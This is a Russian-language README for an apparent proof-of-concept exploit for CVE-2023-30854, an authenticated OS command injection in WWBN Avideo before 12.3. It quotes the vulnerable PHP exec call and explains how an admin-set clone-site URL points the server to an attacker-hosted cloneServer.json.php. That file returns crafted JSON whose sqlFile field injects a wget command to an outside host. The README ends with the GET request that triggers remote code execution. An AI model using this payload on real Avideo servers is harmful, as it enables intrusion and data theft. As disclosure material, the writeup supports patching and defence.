jmrcsnchz/cve-2023-30854Эксплойт для проверки концепции для CVE-2023-30854: аутентифицированная инъекция команд ОС в WWBN Avideo < 12.3, позволяющая удаленное выполнение кода через специально сформированный ответ сервера клонирования.
CVE-2023-30854 WWBN Avideo < 12.3 Авторизованная RCE
Уязвимость внедрения команд ОС в аутентифицированной конечной точке /plugin/CloneSite/cloneClient.json.php позволяет злоумышленникам выполнить удаленный код.
Уязвимый код:
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);
Мы можем контролировать $objClone->cloneSiteURL через функцию клонирования сайта в панели администратора.
/plugin/CloneSite/cloneClient.json.php отправляет GET-запрос к {$objClone->cloneSiteURL}/plugin/CloneSite/cloneServer.json.php. Я разместил специально созданный cloneServer.json.php, который выводит следующие данные JSON:
{"error":false,"msg":"","url":"https:\/\/REDACTED\/","key":"REDACTED","useRsync":1,"videosDir":"\/var\/www\/html\/demo.avideo.com\/videos\/","sqlFile":"Clone_mysqlDump_644ab263e62d6.sql; wget http://REDACTED:4444/`pwd` ;#","videoFiles":[],"photoFiles":[]}
Отправьте GET-запрос к /plugin/CloneSite/cloneClient.json.php, после чего будет достигнуто выполнение удаленного кода.
